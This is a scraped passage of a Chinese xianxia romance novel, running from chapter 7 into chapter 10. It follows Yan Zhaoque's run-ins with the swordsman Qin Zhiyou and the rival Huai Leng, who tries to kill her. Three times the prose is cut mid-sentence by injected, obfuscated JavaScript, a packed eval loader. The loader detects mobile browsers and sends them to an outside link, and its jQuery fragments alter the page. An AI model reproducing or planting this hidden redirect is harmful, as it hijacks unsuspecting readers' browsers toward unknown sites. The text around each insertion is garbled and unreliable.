第二名,天风派雪千里,只是这纸上不知为何竟是空白一片。 第三名,慕容安。 这画册倒是把他画得丰神俊朗,那纸上的面具看起来更为华贵精美。 颜朝阙的嘴角抽了抽,“这第三名不会是你自己找人添上去的吧?你又不修仙,算哪门子的仙门美男?” 慕容安倒也不恼,笑道:“我虽引气入体尚未成功,可也是正儿八经在蓬莱岛拜过师的。” 颜朝阙还想说些什么,恰好此时,容貌周正的小厮和丫鬟递来两只灰色的镯子,打断了她的话。 “这是含情阁特制的显序镯。”慕容安道,他把镯子套在了手腕上,那不知是何质地的镯子突然发亮成了鲜嫩的水绿色。 一行金色的小字在空中紧紧围着镯子,十分醒目——三七一。 颜朝阙看见自己的镯子上也刻着同样的小字“三七二”便明白了它的效用。 “含情阁中不认容貌身份,只认序号,姑娘可得记住了。”慕容安笑得神秘,似乎话里有话。 颜朝阙被拉着往前走了几步,她尚未反应过来,人就坐在了雅座里。 她这才看清地上有密密麻麻的繁复咒符,竟然是一个精巧的阵法。 四周垂下黑布,遮挡住墙上的所有灵石,这偌大的地方顿时陷入了黑暗。 诸位修士却并无慌乱,甚至隐有兴奋之色,想来是含情阁故意为之。 几束柔光渐渐洒在了舞台和雅座上,让一切都如梦似幻。数名舞姬身着霓裳羽衣,随着悠扬的乐声举起皓臂。 颜朝阙感觉眼前一花,她本坐在舞台正前方,此刻却被传送到了右侧,而她的对面突然多了一个人。 “道友可愿与在下喝、喝上一杯?”一个年轻男子红着脸,磕磕绊绊道,显然对这样的交际没什么经验。 颜朝阙看到身前的桌上摆着一壶好酒和若干个小杯。 这酒虽不及白堕酿的一半清甜,但胜在管够。她给双方斟了酒,豪爽地一饮而尽,很是给面子。 可喝完酒,气氛却更加尴尬,那男子很是局促,低着头不敢瞧她,两人就在沉默中等待一曲舞毕。 最后一个音符落下,果不其然,周遭又物换星移起来,这次与颜朝阙相对的,是“秦之游”。 也不知这修士已经玩了多少轮,喝得满面酡红,发髻松松垮垮,一头青丝凌乱垂下。 见到她身后的狐尾,他眼眸一亮,口中叫嚷着“美人”,醉醺醺地站起身就要扑来。 这副顶好的皮囊被人操纵着,颜朝阙的心里却没有半分欣喜,只觉得恶心。 她腰身一闪,那张漂亮的假脸一头栽在了软榻上。 然后……一睡不起了。 颜朝阙嫌恶地移开了目光,坐在对面,独酌着欣赏起歌舞来。 不远处的慕容安密切关注着她的动静,他压低了嗓音对身边的修士道:“一会《醉春风》响起,你将我传送到她身边。” 那是含情阁最绵柔勾人的曲子,也不知主子为何突然来了兴致,那修士却不敢多问,连忙称喏。 慕容安漫不经心地转动着食指上的鹿骨扳指,望着颜朝阙的侧脸,眼中漾着笑意。 颜朝阙不知,那遮容去息符,在一开始就未曾对他生效,那张明艳姣好的面容,从来都被他一览无余。 琵琶的第一根弦已经被拨弄,事情却并未如慕容安预料那般发展。 颜朝阙的身前突然出现了一个人。 长身而立,积石如玉,气质斐然。 慕容安的眸子一点点冷了下来。 那是真的秦之游。 颜朝阙正听着《醉春风》,一股幽幽白檀香忽地袭来,她仰起头,心中蓦地悸动了一下。 不知是被这艳丽的曲儿勾的,还是被眼前之人惊艳的。 她宣布,这是整个含情阁,模仿秦之游最像的修士。 把那薄唇抿起的弧度和眉眼的冷意,简直仿得惟妙惟肖。 就连手上的长剑,都和她见过的那一把分毫不差。 “道友可有兴趣喝一杯?”这次主动邀约的人成了她。 颜朝阙递上一杯清酒,身前之人却并未领情,反倒用力握住了她的手腕,杯中之酒尽数倾落在了地上,沾湿了她垂在脚边的裙摆。 指骨与手腕相触之地,传来几抹凉飕飕的触感,颜朝阙感觉他的手像是一整块寒冰,冷气简直要沁入她的肌肤里。 此人好生无礼。 颜朝阙生出了几分恼意。 她不曾看到,那双如墨的眼眸,在见到她掌心那抹淡淡的血痕后,变得愈发幽深难测了起来。 咔嚓,颜朝阙怀中的符咒,悄无声息地碎裂成了两半。 可手上些许的疼痛,让颜朝阙并未注意到这一点。 她满脑子都想着,她不敢再去招惹真的秦之游,难道要任凭一个冒牌货欺负她么? 若是她不出了这口气,她就枉活了一千年。 颜朝阙用力转了转手腕,脱离了他的禁锢。 身随意动,一根长长的尾巴不客气地翘起,然后……倏地用力缠上了身前人的腰。 她这才知道,原来“秦之游”的腰竟然这么细。 秦之游刚踏入此地,便察觉到了极强的灵力波动,能设下此阵之人,修为不在他之下。 他不想把事情闹大,正思索着在阵法停下时,立刻将颜朝阙带出去,却一个不慎被她勾住了腰。 他握紧了手中的剑,可她的另一根尾巴却暗中覆上了他的手背。 ……他不想伤害颜朝阙。 几息过去,秦之游终究还是收起了那闻名天下、杀气逼人的“绝魔剑”。 柔软洁白的绒毛覆满了秦之游的腰,他尚未来得及挣脱开,它便调皮地往前一甩。 他几乎是被猛地拽到了颜朝阙的身侧。 没了遮容去息符,她的真容显露出来。也不知她喝了多少酒,眼尾勾起,一双桃花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635178|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼波光潋滟,面颊的两抹粉云衬得她娇嫩如花。 笨重的宗服道袍被她脱去,纱裙领口略低,锁骨处白皙的肌肤猝不及防地跃入他的眼中。 这是秦之游第二次离女修这么近。 第一次还是两个时辰前,她肆无忌惮地摸他的脸。 这一次却更近了。 近到她带着酒味的气息,几乎尽数喷洒在了他的脸上。 秦之游呼吸一滞,僵着身子去解她的尾巴,他垂眸听见她笑骂了一句。 “纸老虎。” 颜朝阙乍见他生人勿进的高冷模样,还以为他有多正人君子。她只是圈紧了他的腰,小小地蹭了蹭,那身躯便僵硬得如同木头一般。 这样不禁撩拨,竟还收起了自己的剑,转头摸上了她的尾巴。 真是个伪君子。 一曲过半,台上的歌姬正唱着什么“惜今朝,度春宵”,气氛简直旖旎暧昧到了极点。 酒精让颜朝阙的身体微微发烫,也愈发肆意妄为起来,她抄起案几上的酒壶,又斟了满满一杯酒,而后捏住秦之游的手指,把酒塞进了他的掌心。 “你今日必须陪我喝上一杯。”她昂着下巴,执拗道。 颜朝阙望着他的唇,几乎能想象到,这淡粉的一小块,若沾上了莹润的酒液,该多么蛊惑人心。 “我倒要看看你是多少号……”她的手往下滑了滑,搭在了秦之游的手腕上。 颜朝阙摸索了几下,却没有发现显序镯。莫非在另一只手上? 她正欲去扯他另一个袖子,两个人的身体几乎快要贴在一起。 颜朝阙只是想瞧个究竟,可她的举动放在秦之游眼里,就是变本加厉地占他便宜。 她的肩膀霍然被人用手抵住。 颜朝阙听见一声温凉而含着薄怒的嗓音,一字一句,几乎是从牙缝里挤出来的一般。 “颜、朝、阙。” 她有些迷茫地抬起头,这修士怎么会知道她的名字? 身前之人的面色极差,一双眸子里像凝结着数尺厚的冰凌,呼呼地冒着冷气。 像是忍无可忍,手上的酒杯被他用力一捏,应声而碎,成了一地玉渣。 周围的气温突然降了数十度,冻得人直哆嗦。那毛茸茸的尾巴上,居然结了一层透明的霜。 而那些情意绵绵的曲子,仿佛一下子就离她远去了。 颜朝阙的头脑瞬间清醒了过来。 她忽然有了一个大胆的猜测。 “系统,他、他不会是真的秦之游吧?”她在脑海中向系统求证。 系统瞧了她一眼,完全不顾她的死活,言简意赅道:“是的。” 颜朝阙从它的话里听出几分幸灾乐祸的意味。 颜朝阙摸了摸自己的胸口,这才发现遮容去息符已然失效。 她狠狠闭上眼,希望一切都是在梦中。 可再次睁眼,依旧是那个俊美的真人,用一种可怖的眼神盯着她。 她的脑子里走马灯般地闪过这几个时辰她对他做的事情。 窃符定身,摸脸勾腰…… “秦真人睚眦必报,鲜少有人敢招惹他。”颜朝阙突然想起日月峰上女修们的话。 她“唰”地一下收回了自己的尾巴,站到了雅座的另一角,比起方才的胆大靠近,现如今恨不得离他能多远有多远。 “嗨,秦真人,好、好巧。” 一片死寂中,颜朝阙挥手道。 那把蓝色的极品宝剑又出现在了秦之游的手里,剑意骇人。 “不巧,我寻你很久了。” 她听见他沉沉的声音。 8. 第八章 含情阁的阵法终于停了下来,眼前明光乍亮。 颜朝阙转身想跑,下一瞬就被蓝线捆了个结结实实。那蓝线细如发丝,却抽干了她的所有力气,彻底剥夺了她对身体的控制。 若说之前秦之游对她还算温和,那现在语气便如同淬了冰般冷冽。 “走。” 他只消轻轻发号施令,颜朝阙便只能像提线木偶般跟在他的身后,亦步亦趋。 “这金刚罩对秦之游也失效?”她挣脱不开,怒极了,在脑海中质问系统。 系统淡然道:“他是你命定的师尊。” 命定的师尊、命定的情劫……从前仙界的那帮老家伙还说她半妖半仙,不该降生于世,断言她活不过五百岁。 可她不还是好端端地站在这里? 颜朝阙嘲讽一笑:“那我若不信这命呢?” “从古至今,妄图逆天改命者,皆无好下场。”系统无喜无悲,亦不含一丝怜悯之情。 却说不远处,慕容安正盯着秦之游。他眯起双眼,周遭气压颇低,看起来很是不悦。 “主子,要不要把颜小姐抢过来?”一旁的侍从小心翼翼地问道。 他这话很是狂傲。 秦之游可是被誉为“仙门第一剑修”,修为已至化神巅峰,距离洞虚不过半步之遥。这世上能打得过他的人,一只手都能数得过来。 从他手中抢人,岂是随随便便就能做到的,可这小小侍从说起来,倒如吃饭喝水般轻松。 慕容安摆了摆手。 他摘下鎏金面具,蹙起的左眉上赫然有一条狰狞的疤,蜿蜒直至眼尾。原本俊朗的五官却因为这道疤而显得有几分阴森可怖。 “罢了……反正很快,就能再见面了。” 她应该喜欢美的吧,在下次见面前,他或许该想办法把这道疤去掉。 慕容安抚上自己的疤,望着酒杯中自己的倒影,目光沉沉地想道。 秦之游领着颜朝阙走出了此地,甬道入口赫然出现一个熟悉的身影。 是在星回峰下执意与她争斗的少年。 那一袭黑衣几乎要融进角落的阴影中,只有脸上有几抹斑驳的光。 他的脸轮廓分明,神色却冷硬古怪。甬道潮湿闷热,颜朝阙嗅到了一丝被压抑住的痛苦。 “我已助真人寻到她,请真人收我为徒。”少年跪在秦之游的脚边,字字铿锵。 颜朝阙诧异地挑了挑眉,原来他尚且不是昆墟派的弟子。 她记得地图上标明,昆墟派的九座山峰,脚下皆设有强大剑阵,若是生人硬闯,定然九死一生。 她终于知道少年浑身的伤痕是哪里来的了。 他那时跪在石阶上,并非被罚,而是在求师。 ……若是他知道她拒绝了秦之游的收徒邀请,还是两次,一定会恨透她的吧? 颜朝阙可不想好端端地树敌,何不此时做个顺水推舟的人情? 她忙不迭嚷道:“对啊真人,这少年一看就根骨奇佳,毅力非凡,比起我更适合做您的关门弟子。” “您快快收下他吧。”她语调婉转,说得那叫一个情真意切。 可惜连秦之游的一个回眸都未曾得到。 “你们先随我回昆墟派,三日后与她比试,胜者可入本座门下。”颜朝阙见他身姿未动半分,只有淡漠的嗓音传来。 她心下一喜,若是如此,等三日后她乖乖认输不就成了? 可她还没来得及高兴多久,就听见秦之游补充道:“输者,需在昆墟派做五十年的洒扫奴。” “喂,你凭什么夺人自由?”颜朝阙美眸怒睁,若非被绑着,定要指着他的鼻子骂他黑心。 可那黑衣少年却缓缓笑了,“晚辈愿听真人安排。” 颜朝阙阵阵无语,没想到这俊秀的少年郎,居然是个不折不扣的舔狗。 “你愿意,我可不愿……” 她话还未讲完,眼前一片模糊,等再看清楚时,已然回到了星回峰。 一根枯黄的茅草,从屋顶上升起,在风中飘飘荡荡,最后打着转落在了她的鼻尖。 偏生她还被绑着,一动也动不了,只能打了个大大的喷嚏,才把茅草给吹落在地。 颜朝阙发誓,她活了一千年,还没有这样灰头土脸和郁闷过。 “屋子和吊床,你们自行选择。” 秦之游挥了挥手,两棵古柏之间出现了一张麻绳吊床。 他似乎很是嫌弃颜朝阙,冷冷瞥了她一眼,意有所指道:“这星回峰,本座多加了一层结界。你的身上,也多了本座的追踪符。” 言下之意,便是让她乖乖呆着,哪也别去。 秦之游说罢解了她身上的金线,消失在了原地。下一刻,独属于他的那间竹屋“砰”地一声关上了门。 这冷冰冰的美人,脾气倒是不小。 吓唬谁呢。 颜朝阙揉了揉自己的鼻子。 “颜……道友,我修为高些,也习惯了苦行清修,今夜我睡吊床吧。”少年一改山脚下的阴鸷,居然主动温声对她道。 这整个山头只有两间屋子,因此秦之游才会留下这破破烂烂的吊床。 昆墟山势险峻,山峰耸立,颜朝阙抬头便能瞧见那漫天繁星,睡在屋外倒也算浪漫。 只是如今已是深秋,入夜后山顶寒凉,需以灵气护体,她的灵力少得可怜。 颜朝阙倒也并不忸怩,她笑容明艳地接受了少年的好意,“那成,今晚我先睡里面,明天换你睡。” “对了,你叫什么名字?” 她虽已从系统口中得知,但总归要正式认识一番。 少年敛去了一身戾气,脸上浮现出淡薄的笑意,“淮冷。” 颜朝阙点头,忽而朝他走近了一步,刻意压低嗓音道。 “我不愿做秦真人的弟子,三日后的比试,我自会认输,请淮道友放心。” 少年怔愣了几秒,而后抱拳行了一礼,道了句感谢,见他如此,颜朝阙终于放下心来。 她走进另一间屋子,透过敞开的窗子,她看见银白色的月光倾泻在少年单薄的身上,连那沉闷的黑色布料都像是发着光。 淮冷慢悠悠地躺到吊床上,双手抱臂。 他转过头来,黑黢黢的双眸与她相对,而后竟友善地勾唇一笑。 颜朝阙也回之一笑,伸手关了窗子。 兴许是没了修为的缘故,颜朝阙感受到了一阵困倦。她伸了个懒腰,五根尾巴垂在身后,长长的白毛随着她的动作舒展开来。 夜已深了,是该睡觉了。 她走到床边摸了摸,被褥质感有些粗糙,完全比不上她在极域中的寝殿。 那床被子可是用百年天蚕丝织就,软软滑滑,冰冰凉凉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635179|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,几乎可以一睡十年。 颜朝阙只恨自己从前没有睡觉的习惯,没有多多享受一番。 颜朝阙躺在床榻上,脑海中的思绪纷杂起来。 秦之游的修为较她如今高了太多,经过今日之事一定心生戒备,也不知道该如何才能逃出此地。 还有这劳什子神器,屁用没有,她得想办法脱下来才行。 四周寂静无声,她摸着右手的玉镯,不知不觉间沉入了梦乡。 颜朝阙梦见自己回到了极域的雪山之巅。 安吟是她一年前救下的鲛人,她身受重伤,正在天清池中疗伤。 她吹着海螺,一遍遍地唤颜朝阙,却因为寻不到她,急得在清池中游了数圈。 她似乎累了,倚着青色的栏杆,哭得梨花带雨,泪落到水面化成一颗颗珍珠。 颜朝阙忽然听到远处的锁妖塔里传来阵阵嘶吼。 她想起,她刚从南荒收服了一只甚是厉害的火螭,凶性未泯,尚未来得及教化,也不知道会不会趁她不在跑出来作乱。 极域住着不少妖族,若是火螭突破锁妖塔封印,定会伤害他们。 忧心渐起,颜朝阙心里像是压了块石头般,沉得几乎喘不过气来。 她站在距离安吟一步之遥之地,脚步却宛如生了根一般,挪动不得半寸。 安吟似乎瞧见了她,发狂般地用尾鳍拍打着水面。 颜朝阙的眼前突然闪过一道水花,池水溅到了她的脖子上,冰凉一片。 她心下一惊,倏然睁开眼睛。 颜朝阙瞬间就察觉到了异样—— 有人正用剑抵着她的脖颈,那冰凉的触感不是错觉。 她的嗅觉较常人更为灵敏,这浓郁的血腥气,让她瞬间就知道来者是谁。 “淮冷。” 颜朝阙望着那双近在咫尺,却幽不见底的眸子,语气微凉地喊了一声。 原来方才睡前的善意,全都是他的伪装,他对她的杀心,就从未消散过。 可明明她已经承诺自己会退出这场莫名其妙的争斗。 她的突然醒来,似乎也让淮冷有些意外,他的脸上极快地闪过一丝慌乱。 颜朝阙躺在床榻上,无异于是躺在刀砧板上任人宰割的鱼,她想抬手挥开他的剑,却发现四肢早已被人绑住。 他究竟是什么时候进来的,她为何一无所知?! “我说过不与你争,你为何还要杀我?”颜朝阙稳住心神,问道。 阴冷的少年垂下眼眸,盯着她手腕上的尨玉,嗓音喑哑。 “秦之游只收一个徒弟,我必须成为他唯一的选择。” 他的剑刃又往前进了几毫厘。 颜朝阙已然感受到了刺痛,或许不知道何时,她就会被一剑封喉。 “对不住了,颜道友。”少年的声音极低,握着剑柄的手颤了两下,可呼吸却愈发沉重。 颜朝阙看出他已经下了决心,心一下子坠入谷底,她不管不顾地叫起来—— “秦之游!!” 她的嘴巴被淮冷用力捂住。 就在他动手的那一刹,屋子的门被人用剑气轰开了。 淮冷的手被无形的灵力擒住,铁剑铮然落地,而他也毫无反抗之力地被掀翻在地。 颜朝阙侧过头,看见秦之游踏着月光而来。 似仙亦如魔。 9. 第九章 秦之游带走了淮冷。 修为高深的秦真人面色极差,薄唇抿成了一条锋利的直线,眉头紧蹙。蓝线随意念而出,死死捆着少年而无半分怜惜。 颜朝阙能想到淮冷的下场。 可她并非圣母,没有挨了算计和欺负还要替人求情的菩萨心肠。 于是她冷眼旁观一切,不曾开口阻拦。 少年狼狈喘气,身子在强大的威压下哆嗦着前行,像一匹孤孑战败的狼。 他踏出门的最后刹那回头瞥了她一眼,眼眸黑沉沉的,嘴角挂着若有似无的讽意。 像是在宣誓不甘,又莫名有几分苦笑的意味。 兴许他后悔了。 后悔怎么动手没能再快些,给了她醒来的机会。 可他们之间本不必如此针锋相对。 颜朝阙心里闷闷的,再也无法入睡,待两人走后,她索性起来溜达溜达。 刚往前没走两步,她的脚尖踢到了一个圆润的物什,它咕噜咕噜往前滚了半丈,只差一点就彻底藏进破衣橱下再也不见天光。 颜朝阙蹲下身子,拾起来瞧了瞧,竟是她递给淮冷的药瓶。 或许是被少年揣得久了,也染上一股子血腥气,将原本的药香都遮盖了过去,青白的瓶身上覆着几抹淡淡的粉。 她拧开瓶盖,这才发觉淮冷居然一点也没用。 颜朝阙用指尖挑了些,抹在自己渗着血珠的伤口上,那条狭长的伤以肉眼可见的速度愈合起来。 真是个好东西,也不知他为何不用。 屋门敞着,颜朝阙走了出去,星回峰上寂静无声,只有山风偶尔刮过峭壁留下呜呜的声响。 她绕到屋子背面,朝着月亮所在的方向往前走,不一会儿就到了断崖边,此处乃是山峰的尽头。 山谷深不见底,吞没了所有投入其间的月光,黑黢黢的像是张着一张巨口,引诱凝视它的人纵身一跃。 颜朝阙隐隐望见山壁上生长着紫色的花,亮莹莹的不似凡物,她忍不住探出头想看个仔细。 却在下一瞬间被猛地拽回数丈。 颜朝阙跌坐在地上,她仰起头,却见到秦之游垂眸望着她,眸色凛凛,脸上阴翳未散。 “寻死莫污了昆墟灵脉。”他的话像冰刀似的。 颜朝阙犹记得初见时,他那端坐高台、清冷无双的模样。 可似乎从遇到她开始,他的脸上总是挂着几缕不满。 她知道他一定是误会了什么,她刚想澄清,话到了嘴边又变了个样,“若我死也不愿成为真人的弟子,真人也要执意收我为徒么?” 秦之游的目光往下移了移,落在她白皙细腻的颈间,那里有一道浅粉色的疤。 “你不会死。”不知想到了什么,他的态度软和了些许。 此人怎么如此油盐不进,居然以死相逼也不成。 颜朝阙刚生了些恼意,就见他挥了挥袖袍,她转瞬又回到了那破烂的小屋中。 颜朝阙:…… 翌日上午,颜朝阙头也不回地踏进了传送阵,去寻日月峰上的姐姐们玩耍。 她才不要和那个固执又不识好歹的真人待在一起。 “什么?!他想杀你?”女修们听了她的遭遇,大呼小叫起来,“这也太过分了。” 颜朝阙拉起旁边一个姐姐的袖子,用力吸了一口好闻的栀子花香。可在她们的眼中,却像是受了欺负,蒙着脸不敢言语,让人好不怜爱。 “此人心术不正,幸好秦真人坚持了这么多年,都没收他为徒。”有人感慨道。 颜朝阙听她如此说,忽然来了兴致,抬头问道:“淮冷求了他很多年了么?” 那名叫归云的女修便给她讲起两人的纠葛:“据说他是十年前从栖山逃来的流民,无意间被秦真人救了一命,所以才一直苦苦纠缠。” “只是真人这些年并无收徒的打算,他便终年徘徊在昆墟山下。也不知怎的竟然自己悟出了剑道,三年前闯过了山脚下的千绝剑阵,直抵山门。” “秦真人不知拒绝了他多少次,可他即便遍体鳞伤,也丝毫不退。总是跪在山门边,几乎风雨无阻。” 许是没见过如此执着的人,归云说起他的事情,语气也难掩唏嘘。 颜朝阙缓缓放下手中的袖子,怔愣了片刻。原来她昨日遇到他,并非是意外,而是必然。 “他就没想过拜其他人为师么?”颜朝阙抚着自己颈间的疤,那里早已不疼了,只留下些微异样的触感。 归云一边从旁人手里接过一盘鲜花饼,递到她的面前,一边道:“这倒是不知,但昆墟派上下想收他为徒的可是不少。” 颜朝阙着实有些饿了,她捏起一块饼,听站在一边的阿南继续道。 “前几个月明琉真人还亲自问过他,听说他一下子就给拒绝了,明琉真人的脸色别提有多难看了。” 颜朝阙津津有味地听着,就着热乎乎的茶水咽下最后一小块,饼皮酥脆,蜂蜜和着鲜花碎融化在舌尖。 不愧是人间,仙界可没有这样精致的点心。 她吃了一块,于是托盘中摆成一圈儿的鲜花饼霎时少了一角,露出压在饼下的浅黄色油纸,上面刻着“昆墟派”的字样。 想来那个瘦削的少年从来没吃过。 “姐姐们可知道秦之游会如何处罚淮冷?”颜朝阙忍不住问道。 青芙刚从外面进来,归云从她手中的托盘里拎起一件月牙白色道袍。此袍缎面质地极佳,仿若山涧般缓缓流动,金丝镶边更显华贵。 阿南拉颜朝阙站起来,帮她试穿着这件衣裳,低着头漫不经心道。 “定是先扔到断魂崖磋磨一番,再赶下山去。” “秦真人是整个昆墟派最讲规矩之人,淮冷起了歪心思,便再也与昆墟无缘了。” “断魂崖……”颜朝阙重复了一遍,她怎么记得地图上并没有此处。 女修们见她神色迷茫,便知她初来乍到,定是不甚了解。 “断魂崖是昆墟派的一处秘境,只有长老以上的人物才知道它在何处。”归云替她解惑道,“据说那里寸草不生,冰火双重,还关押着不少妖邪。” “只要在昆墟派,犯了错的人通常都去那领罚。” 颜朝阙却蓦地心下一紧,她想起少年身上浑身的血腥气和苍白的双唇。 他已然受了伤,兴许……会丧命。 阿南看出她隐有不忍,浅笑着宽慰道:“秦真人不是好杀之人,淮冷既未真的杀了你,秦真人自然也会留他一命。” 他可是差一点点就要了她的命。 颜朝阙甩了甩脑袋,放下了心中的那抹仁慈。 颜朝阙在日月峰几乎待了一整天,直到夕阳藏进主峰巍峨的宫殿中呼呼大睡,她才恋恋不舍地回了星回峰。 今日秦之游倒是安静,一次也未曾寻过她,颜朝阙自然也乐得清闲。 出了传送阵,走出小小的柏树林子,遥遥便见一男子在屋前舞剑。 他动作飘逸却气势磅礴,挥剑之姿利落至极。白色衣袍留下一道道笔直的残影,与几乎凝成实质的剑气交织,来不及细看便转瞬而逝。 发梢轻舞,宛如狼毫在空中勾出动魄惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635180|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的水墨飞白。 听见声响,那浅蓝色的宝剑向上一挑,划出一道骇人的剑气,几乎是一息就到了她的面前。 最后狠狠劈向她身侧,一截粗壮的柏木枝丫哐当坠地。 差点砸到她的脚。 颜朝阙被惊地一跳,秦之游却神色淡然地收起剑。 “何故如此晚才归来?”他气息没有丝毫紊乱,似是漫不经心地问道。 “自然是闲得无聊。”颜朝阙扫了一圈周围凄清的景色,撇了撇嘴,而后目光扫过秦之游如画般的眉目,最后落在他劲瘦的腰上。 她揶揄道:“难道真人愿意陪我解闷儿?” 话音刚落,两人的脑海中都不约而同地浮现出昨日在含情阁的荒唐一幕。 眼见她又要不着调,秦之游十分果断地止住了她的话。 颜朝阙感觉自己腰间突然变得沉甸甸的,她低头一看,一个云锦织就的储物袋赫然入目。 “这里面有五百灵石,本座许你明日上午下山采买,后日举行拜师仪式。” 秦之游说完这句话便消失在了原地,没给她任何再次拒绝他的机会。 颜朝阙取下储物袋,眼尖地瞧见了底部绣着的“秦”字,看来是冰美人的专属物。 她打开,用神识稍稍一探,便见角落里堆着许多蔚蓝色的宝石。 他着实大方。 当他的徒弟,应该很幸福吧。 若没有弑师证道的任务在身,她定然很乐意做他的徒弟。 颜朝阙朝天幽幽叹了口气,眉眼间盈满了惆怅。 她身上被下了追踪符,想来也无处可逃,只能走一步看一步了。 次日上午,颜朝阙睡饱后就下了山。有了上次的经验,今日她格外悠闲从容。 她摸着腰间的“巨额”财富,心中盘算着该买些什么。 听归云姐姐说山脚下张记铺子的桂花酿最是好喝,怎么着也得买上一二十坛。 还有寻味楼的烤鸭和猪蹄……唔,干脆请个厨师上来给姐姐们做顿好吃的? 出了半山腰的山门,还没走到山脚下,颜朝阙就听到一阵喧闹。 “我赌十块灵石,这小子今日肯定出不来了。” “不赌不赌,这不是铁板钉钉的事儿么。” 一群身着月牙白道袍的弟子,抱剑而立,三五成群,对着剑阵入口指指点点。 上次下山,星回峰脚下可没这么热闹。 颜朝阙凑了上去,问道:“道友,这是在做什么?” 一个昆墟派弟子用幸灾乐祸的语气道:“昨夜无念真人将淮冷从断魂崖放出来了,这小子居然第一时间又来闯剑阵,这次多半要折在里面了。” 也不知他和淮冷有什么仇怨,看起来格外兴奋。 说罢,他好像突然反应过来颜朝阙的身份,忙拱手笑道。 “想必姑娘就是真人收下的亲传弟子了,在下顾奕,乃七峰长空真人的外门弟子,还望今后多多提携。” 颜朝阙看他满是期冀的神色,便顺势爽快地拍了拍他的肩膀。 “天!出来了!”有人突然惊呼一声。 颜朝阙被吸引走注意力,她抬眸望去,却见那记忆中的少年跌跌撞撞地走出剑阵。 血模糊了淮冷的脸,彻底遮住了他的五官,看起来触目惊心。他的手哆嗦得厉害,几乎连剑都拿不稳。 他似乎看到了她,径直朝她一步步“挪”来。 而后,“扑通”一声。 彻底栽倒在了她的脚下。 他双膝弯曲触地,像是在对她磕首认错。 10. 第十章 “小冷,你要替阿娘好好活下去。” 粗布麻衣的妇人含着泪,把荷包塞进小男孩的怀里。她最后摸了摸他软乎乎的小脸,而后任凭他如何哭闹,都决绝地用木板盖上了那口大瓮。 这瓮本是用来存“苦水”的,味道又涩又咸。 淮冷的脚泡在冰冷的剩水里,四周黑得令人发怵,他的手扒拉着,却只触到滑腻腻的青苔。 “铮”地一声,瓮身被什么从外面重重撞了一下,发出沉闷的声响。 小小的孩子似乎预料到了什么,撕心裂肺地哭闹起来,发疯般用手一下下顶着那厚重的木盖。 许久,他终于从瓮里爬了出来。 闻到了活人的气息,密密麻麻的邪物朝这里涌来,仿佛下一秒就要将那幼小的身躯生吞活剥。 他怀里的荷包突然金光大作,紧紧裹着他,把他与邪物隔绝来开。 淮冷低头,看到地上残留着母亲的衣物,她的血是如此刺目,在柴房那布满尘垢的地上汇成了一条鲜红的河流。 那血里忽而窜出一团火,点燃了母亲灰色的布裙,淮冷拼了命地去夺最后一角,即便被火灼伤也在所不惜。 可他捏住的只有几粒黑色的尘。 为什么,为什么还是没有办法改变这一切。 火舌随着他心中滔天的恨意燃得愈发猛烈,将此处的所有尽数湮灭,也蔓延到了他的全身。 疼,好疼。 床榻上的少年蜷着身子,痛苦地呻.吟了一声,豆大的汗珠从苍白的额间滚落。 他从噩梦中清醒,双眸猛睁,放在身侧的手不自觉地握紧成拳。 淮冷的眼中罕见地有几分迷茫,噩梦远去,迟钝的大脑运转了良久,才反应过来这里是何处。 星回峰山顶,唯二的竹屋中。 他赌对了,她终究还是心软救了他。若是凭他自己,恐怕这辈子也没机会再同真人说一句话。 淮冷伸手摸了摸,脸上与脖颈间黏糊糊的血迹已经被人擦拭干净。 隔壁屋子传来些模糊的人声,从微弱到逐渐高昂。 淮冷忍着疼痛,支起身子走出屋子,还未推开那虚掩着的门,就听到那素来古井无波的真人厉喝道,“你究竟要胡闹到什么时候?” 少年被吓得有一瞬没站稳,双手扶了一下门,结果误打误撞地把它彻底打开了。 屋内两人蕴着火气的目光,全然落在了他的身上。 淮冷孱弱的身躯摇摇欲坠,他强撑着走到了秦之游的面前,眼看着就要跪下,却被一只纤细但有力的胳膊稳稳扶住了。 他愕然地望着眼前与自己差不多高的姑娘。 颜朝阙没看淮冷,她美眸瞪得似葡萄般溜圆,死死盯着秦之游手中之物。 她的胸口剧烈起伏,显然被气得不清。 她在山脚下见到了奄奄一息的淮冷,一个好端端的少年被折磨得血肉模糊,实在令人于心不忍。 拜谁为师,对她而言并不重要,但几乎成了少年的心魔。 姐姐们说,他十六岁便自学成才,已是金丹修士,说句天纵奇才也不为过。 颜朝阙思量再三,还是决定遵从内心那让她难以忽视的声音。 她救下了淮冷,并打算找秦之游劝他收下少年。 可她无意间瞧见了什么? 